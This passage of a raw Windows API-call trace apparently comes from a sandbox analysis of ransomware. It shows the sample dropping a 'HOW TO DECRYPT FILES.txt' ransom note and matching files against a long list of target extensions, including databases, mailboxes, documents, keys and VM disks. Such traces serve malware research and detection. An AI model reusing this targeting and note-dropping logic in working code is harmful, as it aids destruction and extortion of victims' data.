returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\" [0112.300] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\") returned="" [0112.301] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\HOW TO DECRYPT FILES.txt" [0112.301] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\how to decrypt files.txt")) returned 0xffffffff [0112.301] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.303] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.304] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.304] CloseHandle (hObject=0x90) returned 1 [0112.304] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\", lpString2="System.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" [0112.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.ems") returned 0 [0112.304] lstrlenA (lpString="*.ems") returned 5 [0112.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.db") returned 0 [0112.304] lstrlenA (lpString="*.db") returned 4 [0112.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.dbf") returned 0 [0112.304] lstrlenA (lpString="*.dbf") returned 5 [0112.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.myox") returned 0 [0112.305] lstrlenA (lpString="*.myox") returned 6 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.myo") returned 0 [0112.305] lstrlenA (lpString="*.myo") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qbw") returned 0 [0112.305] lstrlenA (lpString="*.qbw") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qbb") returned 0 [0112.305] lstrlenA (lpString="*.qbb") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qbm") returned 0 [0112.305] lstrlenA (lpString="*.qbm") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qbo") returned 0 [0112.305] lstrlenA (lpString="*.qbo") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qbx") returned 0 [0112.305] lstrlenA (lpString="*.qbx") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qba") returned 0 [0112.305] lstrlenA (lpString="*.qba") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qby") returned 0 [0112.305] lstrlenA (lpString="*.qby") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qbj") returned 0 [0112.305] lstrlenA (lpString="*.qbj") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.ofx") returned 0 [0112.305] lstrlenA (lpString="*.ofx") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.qif") returned 0 [0112.305] lstrlenA (lpString="*.qif") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mye") returned 0 [0112.305] lstrlenA (lpString="*.mye") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mbox") returned 0 [0112.305] lstrlenA (lpString="*.mbox") returned 6 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.eml") returned 0 [0112.305] lstrlenA (lpString="*.eml") returned 5 [0112.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.pst") returned 0 [0112.306] lstrlenA (lpString="*.pst") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.ost") returned 0 [0112.306] lstrlenA (lpString="*.ost") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.idx") returned 0 [0112.306] lstrlenA (lpString="*.idx") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.dbx") returned 0 [0112.306] lstrlenA (lpString="*.dbx") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.sql") returned 0 [0112.306] lstrlenA (lpString="*.sql") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mdb") returned 0 [0112.306] lstrlenA (lpString="*.mdb") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.fdb") returned 0 [0112.306] lstrlenA (lpString="*.fdb") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.wab") returned 0 [0112.306] lstrlenA (lpString="*.wab") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.dat") returned 0 [0112.306] lstrlenA (lpString="*.dat") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.txt") returned 0 [0112.306] lstrlenA (lpString="*.txt") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.jpeg") returned 0 [0112.306] lstrlenA (lpString="*.jpeg") returned 6 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.jpg") returned 0 [0112.306] lstrlenA (lpString="*.jpg") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.png") returned 0 [0112.306] lstrlenA (lpString="*.png") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.php") returned 0 [0112.306] lstrlenA (lpString="*.php") returned 5 [0112.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.cs") returned 0 [0112.307] lstrlenA (lpString="*.cs") returned 4 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.cpp") returned 0 [0112.307] lstrlenA (lpString="*.cpp") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.rar") returned 0 [0112.307] lstrlenA (lpString="*.rar") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.zip") returned 0 [0112.307] lstrlenA (lpString="*.zip") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.html") returned 0 [0112.307] lstrlenA (lpString="*.html") returned 6 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.htm") returned 0 [0112.307] lstrlenA (lpString="*.htm") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.xlsx") returned 0 [0112.307] lstrlenA (lpString="*.xlsx") returned 6 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.xls") returned 0 [0112.307] lstrlenA (lpString="*.xls") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mp4") returned 0 [0112.307] lstrlenA (lpString="*.mp4") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.ppt") returned 0 [0112.307] lstrlenA (lpString="*.ppt") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.pptx") returned 0 [0112.307] lstrlenA (lpString="*.pptx") returned 6 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.doc") returned 0 [0112.307] lstrlenA (lpString="*.doc") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.dot") returned 0 [0112.307] lstrlenA (lpString="*.dot") returned 5 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.docx") returned 0 [0112.307] lstrlenA (lpString="*.docx") returned 6 [0112.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.7z") returned 0 [0112.308] lstrlenA (lpString="*.7z") returned 4 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.tar") returned 0 [0112.308] lstrlenA (lpString="*.tar") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.bz2") returned 0 [0112.308] lstrlenA (lpString="*.bz2") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.gz") returned 0 [0112.308] lstrlenA (lpString="*.gz") returned 4 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mkv") returned 0 [0112.308] lstrlenA (lpString="*.mkv") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.eml") returned 0 [0112.308] lstrlenA (lpString="*.eml") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.msg") returned 0 [0112.308] lstrlenA (lpString="*.msg") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.edb") returned 0 [0112.308] lstrlenA (lpString="*.edb") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.accdb") returned 0 [0112.308] lstrlenA (lpString="*.accdb") returned 7 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.odb") returned 0 [0112.308] lstrlenA (lpString="*.odb") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.java") returned 0 [0112.308] lstrlenA (lpString="*.java") returned 6 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.asm") returned 0 [0112.308] lstrlenA (lpString="*.asm") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.pfx") returned 0 [0112.308] lstrlenA (lpString="*.pfx") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.pem") returned 0 [0112.308] lstrlenA (lpString="*.pem") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.p12") returned 0 [0112.308] lstrlenA (lpString="*.p12") returned 5 [0112.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.gpg") returned 0 [0112.309] lstrlenA (lpString="*.gpg") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.vsd") returned 0 [0112.309] lstrlenA (lpString="*.vsd") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.odg") returned 0 [0112.309] lstrlenA (lpString="*.odg") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.raw") returned 0 [0112.309] lstrlenA (lpString="*.raw") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.nef") returned 0 [0112.309] lstrlenA (lpString="*.nef") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.svg") returned 0 [0112.309] lstrlenA (lpString="*.svg") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.psd") returned 0 [0112.309] lstrlenA (lpString="*.psd") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.vmx") returned 0 [0112.309] lstrlenA (lpString="*.vmx") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.vmdk") returned 0 [0112.309] lstrlenA (lpString="*.vmdk") returned 6 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.vdi") returned 0 [0112.309] lstrlenA (lpString="*.vdi") returned 5 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.lay6") returned 0 [0112.309] lstrlenA (lpString="*.lay6") returned 6 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mpeg") returned 0 [0112.309] lstrlenA (lpString="*.mpeg") returned 6 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.djvu") returned 0 [0112.309] lstrlenA (lpString="*.djvu") returned 6 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.tiff") returned 0 [0112.309] lstrlenA (lpString="*.tiff") returned 6 [0112.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.backup") returned 0 [0112.310] lstrlenA (lpString="*.backup") returned 8 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.pdf") returned 0 [0112.310] lstrlenA (lpString="*.pdf") returned 5 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.cert") returned 0 [0112.310] lstrlenA (lpString="*.cert") returned 6 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.docm") returned 0 [0112.310] lstrlenA (lpString="*.docm") returned 6 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.xlsm") returned 0 [0112.310] lstrlenA (lpString="*.xlsm") returned 6 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.dwg") returned 0 [0112.310] lstrlenA (lpString="*.dwg") returned 5 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.nd") returned 0 [0112.310] lstrlenA (lpString="*.nd") returned 4 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.tlg") returned 0 [0112.310] lstrlenA (lpString="*.tlg") returned 5 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.lgb") returned 0 [0112.310] lstrlenA (lpString="*.lgb") returned 5 [0112.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mov") returned 0 [0112.311] lstrlenA (lpString="*.mov") returned 5 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.xdw") returned 0 [0112.311] lstrlenA (lpString="*.xdw") returned 5 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.ods") returned 0 [0112.311] lstrlenA (lpString="*.ods") returned 5 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.wav") returned 0 [0112.311] lstrlenA (lpString="*.wav") returned 5 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.mp3") returned 0 [0112.311] lstrlenA (lpString="*.mp3") returned 5 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.aiff") returned 0 [0112.311] lstrlenA (lpString="*.aiff") returned 6 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.flac") returned 0 [0112.311] lstrlenA (lpString="*.flac") returned 6 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.m4a") returned 0 [0112.311] lstrlenA (lpString="*.m4a") returned 5 [0112.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll", pszSpec="*.csv") returned 0 [0112.311] lstrlenA (lpString="*.csv") returned 5 [0112.311] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8de692, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2b8de692, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2b9e9034, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa20200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.311] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.311] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2bb65df7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2bb65df7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="adff7dd9fe8e541775c46b6363401b22", cAlternateFileName="ADFF7D~1")) returned 0 [0112.311] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.312] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde912eee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde912eee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.AddIn", cAlternateFileName="SYSTEM~1.ADD")) returned 1 [0112.312] lstrcmpA (lpString1=".", lpString2="System.AddIn") returned -1 [0112.312] lstrcmpA (lpString1="..", lpString2="System.AddIn") returned -1 [0112.312] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.312] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.AddIn" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn" [0112.312] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn") returned 59 [0112.312] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde912eee, 